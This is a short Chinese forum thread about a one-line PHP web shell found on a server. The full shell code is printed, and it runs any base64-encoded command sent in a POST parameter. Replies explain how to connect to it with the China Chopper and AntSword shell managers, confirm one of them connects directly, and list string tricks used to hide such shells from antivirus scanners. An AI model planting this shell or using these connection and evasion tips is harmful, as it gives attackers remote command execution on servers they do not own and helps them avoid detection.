积分:301TCV:0TuBi:28坛龄:6年零32天活跃2级
#1
服务器发现一句话,请教这个是怎么利用的。用菜刀和蚁剑简单链接一下发现错误,页面存在,但是无法获取密钥! 是需要构造语句吗。
文件名: .sys.php
文件内容:
<?php
@eval(base64_decode($_POST[sys]));
?>
积分:189TCV:0TuBi:287坛龄:6年161天活跃5级
2020-11-09
#4
base64加密过的php语句执行,sys字符好像要加引号
积分:660TCV:3TuBi:966坛龄:7年零37天
2020-11-09
#7
这是最基本的小马 执行POST过去的sys参数内容BASE64编码 很容易被各类防毒查杀
常见会用来混肴的函试 除了 encode decode 类 还有 字串的取代 str repalce reverse 之类的
积分:99TCV:2TuBi:8坛龄:6年147天活跃1级
2020-11-09
#8
这就是简单的base64编码了一下,亲测蚁剑可以直连